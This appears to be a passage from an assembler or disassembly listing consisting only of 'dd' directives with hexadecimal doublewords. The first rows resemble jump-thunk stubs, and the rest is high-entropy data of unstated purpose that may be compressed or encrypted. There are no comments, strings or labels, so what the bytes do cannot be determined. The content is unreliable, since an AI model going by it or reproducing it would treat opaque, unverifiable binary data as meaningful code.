		dd 2B14E905h, 8668FFFAh, 0E905F060h, 0FFFA2B0Ah, 0F0611768h
		dd 2B00E905h, 0C268FFFAh, 0E905F061h, 0FFFA2AF6h, 0F0629568h
		dd 2AECE905h, 768FFFAh,	0E905F063h, 0FFFA2AE2h,	0F063AC68h
		dd 2AD8E905h, 4568FFFAh, 0E905F064h, 0FFFA2ACEh, 0F064E568h
		dd 2AC4E905h, 0D068FFFAh, 0E905F06Ah, 0FFFA2ABAh, 0F06BCE68h
		dd 2AB0E905h, 6B68FFFAh, 0E905F06Ch, 0FFFA2AA6h, 0D1853ABEh
		dd 0A5F1A42Bh, 2D791C5Fh, 0A3F7A2D7h, 2E7A1959h, 5750988h
		dd 76F80256h, 0E96B91C5h, 55986236h, 0C85AF0A4h, 46BA827Ah
		dd 0D079F51Dh, 1F0CD039h, 0FBE857B5h, 1C175E58h, 0FF933FE0h
		dd 0C0353F93h, 71EB4511h, 5725E9C3h, 0EAD2117h,	21B9CEA2h
		dd 0AB728782h, 47F56FF5h, 1757266Dh, 81FB58C0h,	12BD3456h
		dd 6B1DB129h, 116D1295h, 363FADE3h, 2E24E842h, 38B2h, 1B6EEB00h
		dd 0B5AE1C42h, 4812BC48h, 12408ED0h, 2A1CD61h, 0C032FCA2h
		dd 0BAF21352h, 6F03754Bh, 13C2B6CCh, 703E116Ch,	0AF2DE304h
		dd 15E3AB08h, 612E23E6h, 93h, 82F73938h, 0B4177BD7h, 329E3BB2h
		dd 0B519BA38h, 379B36BFh, 4D19B83Dh, 566329CBh,	4DEC6117h
		dd 0CF6AE319h, 461F6A63h, 681DAA18h, 48D012BCh,	0C994E51Ch
		dd 0AA1E2597h, 49D10CD0h, 0FA99D917h, 87CE00AEh, 0B4F49EAh
		dd 41D95B68h, 852DE82Ah, 182554h, 983FB100h, 1CC136CCh
		dd 9C41B248h, 12BF32C8h, 9D3EBC46h, 94EE6FC9h, 1BE1B566h
		dd 8E7420D3h, 7FDA94Eh,	0DD7723CEh, 0BB07FD4Fh,	0F67A1D46h
		dd 4EED6D5Fh, 0FE9BDE10h, 76FF055Dh, 6ED68FDBh,	0D21C421Bh
		dd 0C5EFDA2h, 0BC48A5BEh, 9EC05812h, 0F3412450h, 116C37F9h
		dd 14B8D44Ch, 257BDB78h, 18B467EBh, 0FA3B1735h,	690544CDh
		dd 0DF6F7244h, 0D370EB86h, 6BB4D7A9h, 0FD6F2111h, 238708F0h
		dd 57E57F2Eh, 116BA95Dh, 0FA8D2CADh, 0C898C162h, 0C1000000h
		dd 0E549E86Dh, 64C86BEFh, 56635212h, 64155817h,	0D683CA30h
		dd 1E26737Ah, 315AFB73h, 9CF4D9B9h, 9B4E6DBBh, 0C45E006Ch
		dd 0B364905Eh, 2F05731Fh, 0AB175628h, 56282319h, 790E9617h
		dd 8F3842E1h, 0B12BC2Dh, 4FE392C5h, 0F4AB2923h,	0E0B42C57h
		dd 6B351019h, 0D070C3D9h, 6FB65F0Ch, 45A25EFBh,	4CB2C96Ah
		dd 5F016D0Eh, 11C40BC5h, 7472D1BDh, 13BE3306h, 0A1D12B7Fh
		dd 0D569C1F2h, 15BDE82Ah, 170DC4h, 0A0579900h, 14C90EF4h
		dd 8439BA40h, 0AA72AD0h, 8536A45Eh, 8CF677D1h, 3F9AD4Eh
		dd 867C28CBh, 0FF5A156h, 0D57F2BC6h, 0BBFFF547h, 0FE721D46h
		dd 4EED6D57h, 0CC6DE01Ah, 2A217B92h, 0E4F14CA8h, 6D461F47h
		dd 0EFE549E8h, 83B78A66h, 8C498C1Eh, 3C4DB4E0h,	3A8D3F61h
		dd 0A412BC7Ah, 9635EA6Ah, 5FDC13EDh, 0A4086417h, 0E2DA389h
		dd 254907A1h, 438D1749h, 0ACC06C0Fh, 6CA0E2DAh,	6ECD5511h
		dd 0A0C8B8CEh, 7E30116Ch, 7731C70Eh, 0B85D2E24h, 4000000h
		dd 1B11A339h, 6E175667h, 371A55F6h, 7628F504h, 0BC7D2FC4h
		dd 0C49A0212h, 7DF79E2Dh, 59DED373h, 0B9DBF031h, 0FE288BE7h
		dd 0E2B12644h, 471E6BBDh, 6B6A8319h, 8A9BC2D7h,	39BAC063h
		dd 8C3837F4h, 0FE6B814h, 420C79ADh, 0B7242E7Fh,	65C6AA06h
		dd 124C1960h, 4D6370A0h, 451B8332h, 0C397428Bh,	3605B439h
		dd 0C2AF67C8h, 0B05D47Ch, 9B000016h, 0CF6A255h,	847E2ACBh
		dd 8F2A657h, 867C28C9h,	55F3A754h, 8F2CAED4h, 0EAD21DBh
		dd 8334A05Ah, 9A82DD7h,	0D765F75Dh, 1D46BCDDh, 6D75DC50h
		dd 0ECE549E8h, 2C9EC09Dh, 12BC6ADBh, 0D584C907h, 0CDB61579h
		dd 24580155h, 3ABF7115h, 0F0393C9Fh, 42F94B15h,	3512BC7Dh
		dd 4D572D9Fh, 32AA116Ch, 183E845Eh, 8E8A9483h, 0CF631440h
		dd 7625A9A3h, 0FCC9D0D5h, 309310A2h, 1CF85A9h, 0FA8122D1h
		dd 0B2C7CE62h, 0F37BB5EBh, 2380EC40h, 908DC371h, 38A07FBEh
		dd 8829A866h, 3EB7792Bh, 3EB780F5h, 3F533F93h, 0C793FF93h
		dd 6B41F369h, 0DE7E6B7Eh, 0F4FD2507h, 365A1BB6h, 0BF5A9395h
		dd 3E0F488Ch, 0A574DC75h, 1542h, 0ADF99ED2h, 297D2057h
		dd 0A9FDA0D3h, 27731E53h, 0AAFE9DDDh, 81F18D0Ch, 0FA7C86D2h
		dd 85F70D59h, 0F97C86D2h, 34A60C58h, 46BDAE86h,	248D011Dh
		dd 0EE6DA339h, 6743394Fh, 48B61756h, 0A7046809h, 0BE8D2CA1h
		dd 0DC53515Ch, 0F39948E0h, 63000014h, 0E41E4AEDh, 6C96C273h
		dd 0E01A4EEFh, 6E94C071h, 0BD1B4FECh, 6714463Ch, 0D685C933h
		dd 5BFC7882h, 0D180F50Fh, 0FBD2F85h, 1D46BF35h,	6DAD0488h
		dd 0BBE549E8h, 66999321h, 74EC1756h, 0FEC7D2D7h, 53E512A0h
		dd 58B112BCh, 701F41B2h, 0C2B91AC1h, 0DBD0E5Ah,	0DC825BAEh
		dd 0D195D56Eh, 6E30A80Ch, 2F8334A0h, 8C36E043h,	8029DCEEh
		dd 0D18F56A3h, 0C552854Bh, 234FE392h, 64E9E34Fh, 7AD9B5h
		dd 6A3E8AA3h, 2B228E16h, 0EB5907DEh, 6453EBB5h,	0C00E50C8h
		dd 42B8EC8Dh, 55D6E0Bh,	7990A8E0h, 144C00D1h, 98D80000h
		dd 649B3E7h, 7AF90357h,	4758FDBh, 77FB0155h, 0B73690C4h
		dd 0BCE88BCFh, 37631046h, 0BCE88FCDh, 36620F46h, 0C8BC0E9Ch
		dd 3B1D46BEh, 1B111EB7h, 6F175667h, 17567799h, 56671BEDh
		dd 47996F17h, 5C911756h, 4DE194DBh, 387E4D21h, 4CDC5372h
		dd 13F435E4h, 0F0600000h, 6EE11B4Fh, 0F2619BCFh, 6CED1743h
		dd 0EF6399CDh, 3FBE184Ch, 34601347h, 0BFEB88CEh, 34601745h
		dd 0BEEA87CEh, 40348614h, 0B31D46C0h, 1B6E963Fh, 5AE1C42h
		dd 0D112BC4Ch, 3903F94Bh, 0C70B116Ch, 58FB6314h, 7488BB23h
		dd 0B0E23D7Fh, 13A0C918h, 0CC0C0000h, 52857F2Bh, 0CE0DF7A3h
		dd 50817B2Fh, 0CB0FF5A1h, 5BDA7C28h, 0A0F4A72Bh, 3367145Ah
		dd 80D48BC9h, 1246F37Ah, 0A4982AB8h, 171D46BFh,	0E86D329Bh
		dd 66EFE549h, 0C10F95CBh, 214DE190h, 56675D57h,	0EB48D017h
		dd 0C93B794Bh, 0E3CCCBCh, 313834h, 7F960000h, 36C8DA41h
		dd 5A52E03Fh, 0AD175599h, 5FFA5935h, 56671F11h,	0CB66EF17h
		dd 5ED8319Fh, 0CE408BD9h, 1FF3892Ah, 35170D7Eh,	131C4899h
		dd 39110000h, 73D083F7h, 0F510075h, 42E190C1h, 869EEBE2h
		dd 0C1663657h, 0DB85E909h, 0B8E25132h, 565C78B4h, 83D1721Fh
		dd 3B318319h, 8E175756h, 38CFB516h, 2212BD3Dh, 7E5ACCBh
		dd 0F1DCB00Ah, 0E82DB07h, 0E75D68Ah, 0EE3BC296h, 30FB4917h
		dd 2A0CD329h, 8678E4h, 0D89DA975h, 81FA5935h, 100DB958h
		dd 8CA1ECD9h, 0E1BC551Dh, 69C5A902h, 194DF063h,	0A59F2DB7h
		dd 180B829Bh, 66592380h, 0A40B829Ch, 2CD68233h,	0ACA60AABh
		dd 1AD48A2Bh, 238320D5h, 5497C58Bh, 0AA6539Ah, 8CC3C566h
		dd 7F09BDE9h, 8F283A6Eh, 1CBh, 421B6ED6h, 0FF9CD21Ch, 37BC0E5Ch
		dd 8A12BC43h, 28A54C12h, 0FE46F39Dh, 818B2B88h,	55FBAF4Eh
		dd 0E7CB25BCh, 6B755F55h, 674AD211h, 5CFF6EEFh,	0CC60155Ah
		dd 6C5AC6BAh, 0C8346A11h, 87D97CF3h, 0D4AC1A6Eh, 325EF2A3h
		dd 5F7FBF1Fh, 4C5DA4FCh, 0AE9D2F71h, 0C10CD191h, 88C90759h
		dd 0A91B45E9h, 0B816ED3h, 71D2BE26h, 0E497DBD1h, 540574BAh
		dd 5E9E94F8h, 0DA7915B9h, 3FFA7882h, 0DAB61ABDh
		dd 9E6C1AB6h, 900B816Fh, 1B11BD5Eh, 0C7973BD6h,	0CEEA0B79h
		dd 23576490h, 903CE116h, 1A4EB7BDh, 2A46984Eh, 67E81246h
		dd 0B526E8B6h, 903A300h, 874917C6h, 0AE0EAD50h,	64965806h
		dd 29771BB7h, 8237A19Bh, 2F8C140Bh, 37B8FF6Dh, 0A0CC6DE0h
		dd 66945AF4h, 0D67519B5h, 3A09EA9Eh, 4C1A28h, 6D430000h
		dd 0BCE24EEDh, 0FB58FD72h, 80DE7DFDh, 0E3030869h, 1BA9F373h
		dd 17570D21h, 0C3600C94h, 7C95CB63h, 22782C91h,	0F4DEE37h
		dd 0FF9CDEDDh, 5E691FABh, 0B095340Eh, 3B000000h, 0B3893BA1h
		dd 617567Fh, 8014E89Eh,	0FF671756h, 1B6EF95Ch, 39AE1C42h
		dd 0E512BC74h, 50F7CD7Fh, 0D24A116Ch, 3E920A71h, 4612C334h
		dd 3B026E8h, 6660C3AFh,	0EAE04CF1h, 0B41CB065h,	0B0598AFAh
		dd 0E23DEED4h, 0E6FBE9B5h, 5040A856h, 56999F3Ch, 0B147F3A7h
		dd 0DD2E2352h, 4Dh, 48216E84h, 6700A416h, 6BF31756h, 66BFB1C7h
		dd 0A4F1756h, 89C9C36Fh, 434946EAh, 2BCEC11h, 91B9C6D2h
		dd 43858B3Eh, 1D432F95h, 0DA0B6E87h, 7FE357E2h,	0A0FEA6DCh
		dd 69F11755h, 0D978F937h, 55F99CD3h, 0E3C29A39h, 7, 5AB6BAh
		dd 6DEF0000h, 0E9E34FEEh, 620BF666h, 34018CF2h,	6CA20C58h
		dd 8AE64AEBh, 0F5A82F29h, 0A98331ABh, 1C1756BEh, 0D9872784h
		dd 9B37E217h, 0BF7D77C5h, 68F01756h, 61A2A704h,	23522488h
		dd 0AFE8A9F2h, 0CF70EC2Dh, 0D2050FA3h, 0F5AB8F23h, 642A5687h
		dd 911BEDF8h, 536B340Eh, 3200000Bh, 0E04C256Eh,	0FD52EB96h
		dd 0ADDF919Eh, 0B6CD53BAh, 4C28BC74h, 8DD1A7EFh, 313DAA62h
		dd 64000000h, 124C256Eh, 51FD9EDCh, 7ECC9E3Dh, 17566786h
		dd 0BBCD61F9h, 0BE25AB63h, 58A5D799h, 8A9A6BB0h, 2C5DCh
		dd 5AE87200h, 6DE28D62h, 4BEE4DD5h, 1B11A339h, 6E175667h
		dd 6DA79AB7h, 58343AA6h, 0DCB5FEFBh, 6DBA0375h,	0BDE049E8h
		dd 0C170E12Fh, 7A2016Dh, 0E054523h, 3EB137h, 0F61F0000h
		dd 5049EEC0h, 0BC19BA57h, 0E54C256Eh, 0DD80F739h, 0ECBE1D71h
		dd 5667695Eh, 0ED44DC17h, 0EE6D5439h, 9ADF114Fh, 0A0F95CFFh
		dd 43B6DDh, 0D6180000h,	7C70C2A5h, 0CF175667h, 3D983B57h
		dd 0A92A256Eh, 12BE5B92h, 207E127Eh, 0F6896DEEh, 0B726DD4Dh
		dd 7814B8D4h, 8B397EDBh, 175666B4h, 393B9232h, 11A33954h
		dd 1756671Bh, 5355F66Eh, 0A0D47D20h, 80F739DDh,	0BE1D71DDh
		dd 847314C4h, 7B185AE1h, 0F1A0D52Fh, 0A84B8F95h, 0F0A5D6CCh
		dd 7724565Ch, 0CF3D73DBh, 6490CEAEh, 0B1039903h, 208452BBh
		dd 0CE0960Eh, 7F208453h, 0B4244E7h, 0BC26B46Eh,	8453360Eh
		dd 778920h, 9492315Dh, 3C308261h, 8F208453h, 3AD91D17h
		dd 0F296FA96h, 81155BCh, 0C227C7B8h, 87AAB042h,	3794A2C2h
		dd 0C07E1978h, 72BA5394h, 96E95BB0h, 51848221h,	39BC7AA0h
		dd 74E6FC98h, 842BEADDh, 0A1C55D20h, 0B7059FD1h, 20842BBDh
		dd 54289A30h, 0A720842Ch, 1B59533Fh, 7A4C864h, 4D801745h
		dd 42B076ACh, 1E7E3D91h, 392A5A18h, 2C1B11A3h, 0F66E2084h
		dd 5CDFF5DBh, 55F6411Ah, 0FC4E1F53h, 20845E08h,	0DB8FE37Bh
		dd 690DAC21h, 7146FF73h, 0C420845Eh, 0B022385Ch, 34A5AF03h
		dd 0C5772985h, 20845DEFh, 3270DA42h, 868C93C2h,	6D0C4156h
		dd 2ECC25B7h, 8C8E83D6h, 80F5F350h, 2C5B51E3h, 36AE2084h
		dd 0B6D3E5Ah, 4C9FCD8Fh, 458D76A5h, 6AC9B821h, 1648E96Ch
		dd 47463E8Ch, 21B92084h, 2FC65482h, 0C1069BB7h,	45F7A9B3h
		dd 2084516Fh, 0FFF95AC2h, 9D3CBD76h, 6F315D31h,	2F8332A1h
		dd 9288E043h, 0A7D7B360h, 0EBC173E9h, 5E208450h, 0B52765C6h
		dd 18C26FE6h, 6213448Ah, 0E74BEC68h, 6D8D288Bh,	3E049E8h
		dd 7FF739BAh, 357A7FDCh, 2FBDF55Ch, 6EC271E1h, 14C50802h
		dd 452312B7h, 0B1370E05h, 54h, 48216EE8h, 0F899D816h, 781D5E54h
		dd 77D4B8D4h, 0B48B39D2h, 7175666h, 5439369Fh, 40D0D039h
		dd 9A07D679h, 0C6CCA055h, 274BE794h, 0A84D8284h, 0DB111FF6h
		dd 9FDEF3B8h, 0A339993Ch, 56671B11h, 0FFF54717h, 72175666h
		dd 0A6059DEAh, 2BB6106Dh, 0EF000000h, 1648216Eh, 28FEA1FFh
		dd 8427D58Bh, 6DA33921h, 88E448EFh, 675E512Bh, 22E41756h
		dd 0C3AF03B0h, 543906AFh, 0E24BEA6Dh, 6511DDA0h, 0F175669h
		dd 0FFFCF7DEh, 0F73987FFh, 1C70DC7Fh, 66F3C5BFh, 0F56F1756h
		dd 56676D47h, 362C9A17h, 0BB067A5h, 4247E47Ch, 0C63C6841h
		dd 3A4CE095h, 17575142h, 54D53C92h, 26CCE74Dh, 0CD3F7DDEh
		dd 68DA8DCEh, 1756DF94h, 4D137FE7h, 1AD5083h, 6C96CE6Dh
		dd 0DAE2CEBh, 0C3CC3561h, 773442EEh, 415500AEh,	3D37851Fh
		dd 0B0D5008Ch, 9BC98B28h, 885FA148h, 90BD5C9Dh,	0F65502ADh
		dd 0B893CABEh, 1E23AF1h, 11630000h, 1756671Eh, 9DC39AEFh
		dd 0BC64CC2Fh, 0F3A73F12h, 752BCA09h, 379B36BBh, 0B11DBC3Dh
		dd 0B212B1DDh, 2A8637B8h, 266E9D74h, 466B084Ah,	0AA09B8E1h
		dd 268A2BACh, 5D03DA2Fh, 0D253B8EFh, 6053CB0Ch,	0E827664Eh
		dd 7B1FCE66h, 0EB00000Ch, 1CE6B265h, 946E3ADBh,	18E2B667h
		dd 966C38D9h, 45E3B764h, 9F3CBEC4h, 1EBD31CBh, 9344B04Ah
		dd 19B83DC7h, 0C775E74Dh, 1D46C6EDh, 6D65CC40h,	0ECE549E8h
		dd 90AD819Dh, 0D5791C53h, 236F94B9h, 93217F13h,	12A64F6Eh
		dd 0DA77FA34h, 0F6441A76h, 11662EFEh, 314AE971h, 0BA39F7A9h
		dd 0FB84525Ah, 0F4987A76h, 93C00EA0h, 8A5923A3h, 137F7797h
		dd 9045B6B0h, 12BF363Ch, 9B62B7BEh, 522877C5h, 831B0CCCh
		dd 2D7888B0h, 0C514BCE8h, 0BEAh, 1541F67Ah, 0E1B568EFh
		dd 7125D81Bh, 0FFAB468Bh, 7226D505h, 0A92955D4h, 32A45E0Ah
		dd 0AD2FD581h, 31A45E0Ah, 0EC7ED480h, 46C8665Eh, 0FC55D91Dh
		dd 0A649D039h, 0AF1D63F0h, 1DDAB482h, 0DD7E6E9Ch, 4BE792DBh
		dd 306E3742h, 0BD435D82h, 9CC85012h, 1642EF66h,	9DC39AEFh
		dd 0DA182153h, 95F95539h, 30FE6436h, 0DCB01CBDh, 10F9057Fh
		dd 10880CBDh, 0A253804Eh, 2ECF0CF6h, 94458882h,	1DE83138h
		dd 0F143D943h, 0B7CEFFBh, 0F75D64Eh, 6E2F8E0h, 10C134FAh
		dd 0E608FC4Eh, 0E37B0592h, 90A33B40h, 0EE16D27Ah, 3FF3228Ah
		dd 0AF00000Bh, 0D8227629h, 48B2E697h, 0C43E6A0Bh, 4AB0E495h
		dd 993F6B08h, 4BE86A18h, 0C271E51Fh, 4FF06C96h,	0CD6CE11Bh
		dd 13A13399h, 1D46C819h, 3949E06Ch, 7893D1D0h, 993A57EEh
		dd 17BB569Fh, 6C320B1Eh, 0BCD465DEh, 1440D812h,	0E0B469EEh
		dd 7A24D91Ah, 399546B4h, 0F7AEF655h, 1C421B6Eh,	0BC6465AEh
		dd 0AC009812h, 6C63E6DAh, 6B72411h, 8132A0AAh, 97C5872Dh
		dd 0AD441A66h, 79FBDDFDh, 0BE9DEBC6h, 0A8D49635h, 23DAAB5Dh
		dd 90DB2Eh, 6D820000h, 56970AEAh, 0AB51E33Eh, 0EE616BC7h
		dd 68E9E34Fh, 0E86F65C9h, 6EBFB507h, 98321756h,	566F522Ah
		dd 513DA517h, 9C7693Dh,	8F8A29C8h, 4FFDA37Ah, 12BC783Ch
		dd 706457CFh, 84E23D54h, 0A6CFD2Ch, 78F80000h, 0E66993C7h
		dd 5A996337h, 0E415EFBBh, 579B6135h, 0D756F0A4h, 0DC882BAFh
		dd 5703B026h, 0DC882FADh, 5602AF26h, 0E8DC6EFCh, 5B1D46C8h
		dd 0EA6D7ED7h, 2BB11F4Bh, 5666A399h, 0D08E1617h, 56678A62h
		dd 0C665FD17h, 571Bh, 0EA6D4200h, 6509A82Dh, 8AB9C0C9h
		dd 0A2FC9045h, 0BC64BF10h, 0E715DB12h, 70E89330h, 3D555943h
		dd 0D405ADE2h, 9FAh, 6531E66Ah,	0F1A5589Fh
		dd 4115C80Bh, 0CF9B36BBh, 4216C535h, 0D91965E4h, 62946E3Ah
		dd 0DD1FE5B1h, 61946E3Ah, 0DC4EE4B0h, 46CA966Eh, 0CC65E91Dh
		dd 0E549E86Dh, 67CB66EFh, 98E51755h, 340E3CF0h,	1FE1Ch
		dd 65244500h, 45A2376h,	0BC7CFDB6h, 0B268F012h,	0D7B3D908h
		dd 0BA8396DEh, 0A6B556E4h, 0D048193Ah, 5924757Ch, 0B5079D07h
		dd 17EA93BFh, 7309AA32h, 134FF71Dh, 9C3FB779h, 35BA443Fh
		dd 7CB2EC80h, 9EF25EFFh, 0E57A72C0h, 55CD11FCh,	0E36AA4F6h
		dd 55986236h, 0D38F97A4h, 0CB63E1ACh, 9551Ah, 0E88FC100h
		dd 6C1146BCh, 0EC91C238h, 620F42B8h, 0ED8ECC36h, 0E49E1FB9h
		dd 6B91C576h, 9E6430E3h, 17EDB95Eh, 0CD6733DEh,	0CA17ED5Fh
		dd 0E66A1D46h, 11A3394Fh, 1756671Bh, 5355F66Eh,	38DB1F1Ch
		dd 22900A54h, 1756674Ah, 268625BDh, 5D03DA2Fh, 0A6349DEFh
		dd 0AE2ED012h, 81182409h, 0A4051EE1h, 1B5896C8h, 458BD97Ah
		dd 0CC366211h, 4C45E98Ah, 8C3E603Dh, 0CCBA27Fh,	522A9832h
		dd 0A50B7BA2h, 0C10F513Dh, 40BAEE8Dh, 0CBC16D0Eh, 0EE4D782h
		dd 26E82E17h, 8BC5F8Eh,	0A8280000h, 1659A3F7h, 8AC93367h
		dd 1445BFEBh, 87CB3165h, 0A72680D4h, 0ACF89BDFh, 27732056h
		dd 0ACF89FDDh, 26721F56h, 0D8AC1E8Ch, 2B1D46CAh, 17450EA7h
		dd 66D495D9h, 1756678Eh, 0B91579E1h, 300C76D5h,	0A4175667h
		dd 0D0D5EA1Ah, 6CA2FCC9h, 0BCEE4DEEh, 0B667E826h, 0AFD5761Ah
		dd 12BC469Ch, 27E9B72Fh, 0AC5501B4h, 0C673E65Dh, 44E889CCh
		dd 0A81A4428h, 0CD0907Dh, 108AD44Ch, 6186EAF9h,	9536E0ACh
		dd 3F8D5A93h, 0B802045h, 90E796C5h, 0CA306408h,	19E5D683h
		dd 2DE82999h, 81C5485h,	48880000h, 0B639C397h, 2AA95307h
		dd 0B425DF8Bh, 27AB5105h, 7862074h, 0C58FB7Fh, 87D380F6h
		dd 0C58FF7Dh, 86D27FF6h, 380CBE2Ch, 8B1D46CBh, 1F11AE07h
		dd 0EF175667h, 714BF966h, 0C4175667h, 9D64305Ch, 5DEFB18Ch
		dd 12BC2B8Ah, 0B57B25BDh, 54CE9047h, 6C1B0EE6h,	5AF96111h
		dd 0DB7CF802h, 7B8A677h, 6EFF0000h, 0AE1C421Bh,	12BC644Dh
		dd 0E29438A0h, 116C640Eh, 0ADB8246Ah, 2E2435DBh, 1812Bh
		dd 0EF6D7200h, 97D81648h, 2C264AE6h, 0CFA30FB0h, 90C6CC6Ch
		dd 9527BDE3h, 1756669Fh, 89298A12h, 2F9D4A83h, 17566755h
		dd 0F05C30A8h, 26F160AEh, 0C0AC00B5h, 0CF6C00ACh, 80D48BC9h
		dd 0E945FA7Ah, 91CFA6E0h, 56675123h, 0A2FC6417h, 2ABB834Bh
		dd 51F22D5Ah, 0DB76FBF1h, 58FF7D77h, 0EA1AA4F4h, 0B7259BCBh
		dd 97C374E0h, 0E448EF6Dh, 56A96692h, 54803E17h,	36621547h
		dd 0B0EEC7CFh, 0B3A51859h, 35968AECh, 39D7D567h, 0D42A1757h
		dd 3458F4A5h, 78FEF458h, 0EF218FDBh, 965C96Ch, 892AACAAh
		dd 86927B25h, 0ECD5CFF7h, 4D808625h, 0EE5000ACh, 0A2846D7Eh
		dd 0A5540F81h, 7B115367h, 99FB7156h, 19BA3C3Ah,	0A23EAE47h
		dd 947CE29Fh, 61956F37h, 0AC22ECB2h, 0E74BEA69h, 274BE78Bh
		dd 0A60AA92Dh, 97C969CAh, 0CBC5BF0Dh, 0A0381756h, 0D57623AAh
		dd 0A2FCC9D0h, 0BCB23310h, 8ADE4612h, 0B73BFE70h, 0A8C4A804h
		dd 2C090D04h, 0A1E8C072h, 825B116Ch, 0B88E2827h, 903C5082h
		dd 0CA0559Ah, 8F23D006h, 0C2F361DFh, 0FBC02C92h, 8C31A673h
		dd 1E8C60D2h, 67FF116Dh, 31A55F0Bh, 0D2272E82h,	1CF550Bh
		dd 0DE3E6DD3h, 0C440369Dh, 0DA710BA8h, 440CD361h, 4F986CDEh
		dd 41EB0B83h, 834EF9F3h, 0B8D44C0Bh, 0F8B9601Bh, 9085D327h
		dd 0D65B3ACCh, 0DFCF37FBh, 0D91DE7B3h, 68946E3Ah, 834DE3B7h
		dd 6E02AE51h, 1B6E68CDh, 66EAC270h, 0A35D1756h,	8EE28E31h
		dd 4ECD62D0h, 38A012BCh, 1FAD8F66h, 0B62670Ch, 0CD0208A8h
		dd 6E257C28h, 92E44821h, 1756669Eh, 458A441Ah, 0D0623C90h
		dd 175666DCh, 85DBB72Fh, 56673D37h, 8B28B017h, 0A6529BC9h
		dd 0D6340E39h, 27h, 4BEA6D8Fh, 669B91E7h, 77C91756h, 9C41B605h
		dd 47BA4EC8h, 0C8961756h, 450CE052h, 0E77F1756h, 0FFAD9944h
		dd 39C0FFFFh, 671B11A3h, 0F5471756h, 175666FFh,	59DEA72h
		dd 8C2DA0A6h, 6E62CB25h, 0BA82E21h, 6A33CE67h, 0E054523h
		dd 674BA37h, 3695F955h,	2B6Fh, 216E3600h, 99D81648h, 9B3854F8h
		dd 0B18B393Eh, 4175666h, 5439359Ch, 0CB79EA6Dh,	175666F1h
		dd 19B0DC44h, 2BB6DDA0h, 0EF000000h, 0E148216Eh, 66B18B39h
		dd 91311756h, 6D543938h, 0DAC2DEAh, 0FFA1CDA1h,	0BF13C231h
		dd 0A0D570D3h, 6CBFC32Ah, 9FAECF06h, 0EE6D993Ch, 9F95E34Fh
		dd 35175666h, 1142598Bh, 78BE386Ch, 5C17566Bh, 0FFF4568Dh
		dd 0F739D4FFh, 5B51E384h, 0AE175667h, 0FFF95A36h, 6891C578h
		dd 0A81A4421h, 12BC6487h, 0A556847Ah, 238F2AAFh, 0D18F234Fh
		dd 52759C38h, 9B527F1Ch, 0BAC06345h, 116C62C6h,	44F66C32h
		dd 116C6370h, 0B7055BC3h, 116C62BDh, 490BA830h,	3926D21Bh
		dd 0B45D2E24h, 76ACCE5Dh, 0E0B91A21h, 11h, 84F739B9h, 0FD9144B7h
		dd 439E3D51h, 1, 7FF7391Ah, 0F1A6D6DCh,	9792315Dh, 2BE5BB82h
		dd 4BEA6DA6h, 4BE78BE7h, 64D68427h, 12BC78BFh, 0EE742AB2h
		dd 0A00CAD20h, 55C2BACCh, 0AD35116Ch, 33A4AE0Eh, 6750D682h
		dd 0E7116C56h, 6A42F075h, 0A0116C56h, 4E228E2Fh, 99CDA139h
		dd 0CE7CF163h, 116C55F6h, 11BDD149h, 0A3ED5452h, 35EA6A31h
		dd 0A7529B61h, 0E594D9C3h, 0A6599B81h, 0C412270Ah, 4D8BBDE5h
		dd 0C16D1047h, 9ABB296Bh, 6338A4FAh, 0F0954FEAh, 8E055523h
		dd 0A543AA35h, 0A1450C85h, 9CEFB615h, 0B6000000h, 0E44D286Eh
		dd 66B48B39h, 92321756h, 6AD0393Bh, 929ED77Eh, 0F499CB68h
		dd 3943B729h, 70D37EF7h, 0A513FF76h, 33552CE2h,	19D789E5h
		dd 0E58925D4h, 62CBE346h, 0E148216Eh, 45236A33h, 0B1370E05h
		dd 3Ch,	0CC9DD11Fh, 5667867Eh, 0D61F914h, 670BE153h, 0E67E1456h
		dd 216EE045h, 8B39E148h, 175666B1h, 0EE60AE04h,	67413B4Dh
		dd 2CB41756h, 5439E940h, 0E24BEA6Dh, 16B6DDA0h,	0EF000000h
		dd 0E148216Eh, 66B18B39h, 91311756h, 6D543938h,	0A0E24BEAh
		dd 0FF52B6DDh, 39EFFFFFh, 71DD80F7h, 35B8BE1Dh,	0AB222884h
		dd 2014A63Ch, 93175667h, 67877D0Bh, 62FA1756h, 9A36E768h
		dd 37CE9AF6h, 0F7451BE2h, 12BC75A8h, 0D9AF039Bh, 116C52E7h
		dd 0AF03AE27h, 5DC232A5h, 932E48Ch, 3A1EB2DEh, 2BA3F864h
		dd 24482488h, 9FE61658h, 2E236CE9h, 3E15h, 9321BB00h, 116B8E99h
		dd 72D774ECh, 1C421B6Eh, 0BC48B5AEh, 8ED04812h,	0C1621340h
		dd 38211761h, 0C19F116Ch, 3813E95Bh, 9866116Ch,	7915B95Ah
		dd 88F4B615h, 240A8B7Dh, 0E0FB2Eh, 6DA20000h, 0EFE549E8h
		dd 6E64C86Bh, 0B8E64AE7h, 0FA560376h, 0B2DE7FF0h, 33DE1711h
		dd 6343E167h, 24B1756h,	74F90357h, 27559BC5h, 13B0DC70h
		dd 966FBAB3h, 5EDD7AC8h, 89012BCh, 867ECC56h, 0F9116C5Ch
		dd 349AC261h, 6485D5DDh, 55F62DEAh, 227C4950h, 0CFFBC490h
		dd 0B6049E0Ch, 0B7ECABEh, 710AA931h, 0CB9369DBh, 7EE60B7Eh
		dd 51824C12h, 0CF6C00ACh, 4E1F539Dh, 7ECB08FCh,	57857B0Bh
		dd 0C600CA0h, 8CCE3460h, 0EDF2DCEFh, 0A20AE82Ah, 23173h
		dd 843BBD00h, 0F0A52AD0h, 781D5EA4h, 0F6A3D62Ch, 791A58A2h
		dd 780A8B2Dh, 0F70D59FAh, 7288DC7Fh, 0F3095D02h, 218BDF7Ah
		dd 0D12B01B3h, 129E1D46h, 6DA339BBh, 413B4DECh,	0B4175667h
		dd 49898F2Ch
		dd 9E50FEAAh, 7A16BA57h, 0FB96DFD9h, 1B6EF6AFh,	7F51C42h
		dd 49258AB9h, 8E3C6ECDh, 12BD3895h, 6A1CB028h, 116D2896h
		dd 2F40ACE2h, 43F172E1h, 116D2869h, 222844DCh, 0E8A003B0h
		dd 2E24FA20h, 22E38E67h, 0E3CE6DEDh, 10B35D2Bh,	0B849h
		dd 0E86D1000h, 52BBE549h, 9B9B4C32h, 0BD403240h, 2A48C049h
		dd 6FE3E546h, 0D73E60CCh, 45EEDF5Fh, 0DB361422h, 69E5A19Bh
		dd 20DCA605h, 6E1756BFh, 0E41E4AE7h, 656CC071h,	0A5174914h
		dd 12BCBA2Ah, 0E81145DDh, 7044F6A1h, 0C3116CB7h, 0B71BBA3Dh
